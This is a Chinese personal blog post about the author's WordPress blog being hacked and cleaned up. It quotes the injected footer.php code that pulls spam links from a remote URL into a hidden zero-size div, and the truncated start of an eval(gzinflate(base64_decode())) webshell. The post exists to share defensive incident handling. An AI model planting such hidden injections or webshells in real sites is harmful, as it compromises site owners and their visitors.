記部落格被入侵

這兩個星期,我的部落格被入侵並埋了一堆廣告連結。
WP-CLI-Snap_P (by PipperL)

一開始,是 google 警告我,說我的 blog 頁面裡有一堆奇怪的連結,因此他們將我的blog 從索引裡先除去,等我移除之後再申請回復。

一查,果然有一大堆怪怪的連結,躲在網頁底,然後 用 <div style=”height: 0pt;width: 0pt;position: absolute;overflow: auto;”> 給包了起來。這樣一來,平常開網頁的人就不會注意到,但是 google bot 卻會收進去。

找出 wordpress 的模板 footer.php 瞧瞧,原來被埋進了下面這段程式碼,會自動去抓具有網址的文字下來:

<?php

 $links=@file_get_contents(‘some url’);
 echo “<div style=”height: 0pt;width: 0pt;position: absolute;overflow: auto;”>”.$links.”</div>”;

?>

當下先鋸箭,砍了這段 code,不過從哪個洞摸進來的,還不知道。

過了幾天,這段 code 又出現在我的 footer.php 了,開始檢查各檔案的權限,沒有異常。拿掉幾個可疑的 plugin ,過幾天還是被摸進來。把帳號的密碼重新再換過,權限再檢查過,過幾天,還是一樣被摸進來。

我火了。

保持檔案原狀,記下檔案修改時間,我翻進 access.log,看看被摸進來的當天當時,到底誰在access,抓到一個可疑的記錄:有人在存取我的 CLI theme。這東西已經幾百年了,怎麼還會有人存取呢,可疑可疑,鑽進去看,果然 injected code  躲在 footer.php 裡。兇手就是用這個檔案作為程式上傳並修改我目前使用的佈景模板的。有了兇手的 IP,繼續翻 log,又找出另外兩個埋進來的程式。一個是  body.php 另外一個是 cache.php,用的是 “gzinflate(base64_decode… “的技巧,是拿來 browse我的網站目錄並修改檔案,種 inject code 之用的。

<?PHP
             //Authentication
$login = “”; //Login
$pass = “”;  //Pass
$md5_pass = “”; //If no pass then hash
eval(gzinflate(base64_decode(‘HJ3HkqNQEkU/ZzqCBd4t
?>

比較誇張的是,最古老的一個洞竟然是今年四月就種進來了。過了四個多月對方才把其他的 code 種進來,算是非常寬容的了。

後續的動作,就是收尾了。
把受感染的檔案移除掉,用 log 裡的 IP 找看看 log 裡有沒有其他可疑的動作,檢查所有檔案的日期,看到可疑的就進去翻翻看有沒有問題。忙了大半天。感覺好像清乾淨了,不過誰知道呢? 把 log 的存放量再加倍,觀察一陣子,希望那些高手放過小弟。

套句同事說的,我只是混口飯吃,會社已經夠亂了,部落格不要再來湊一腳啊。

在〈記部落格被入侵〉中有 9 則留言

tzuche 發表迴響取消回覆

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料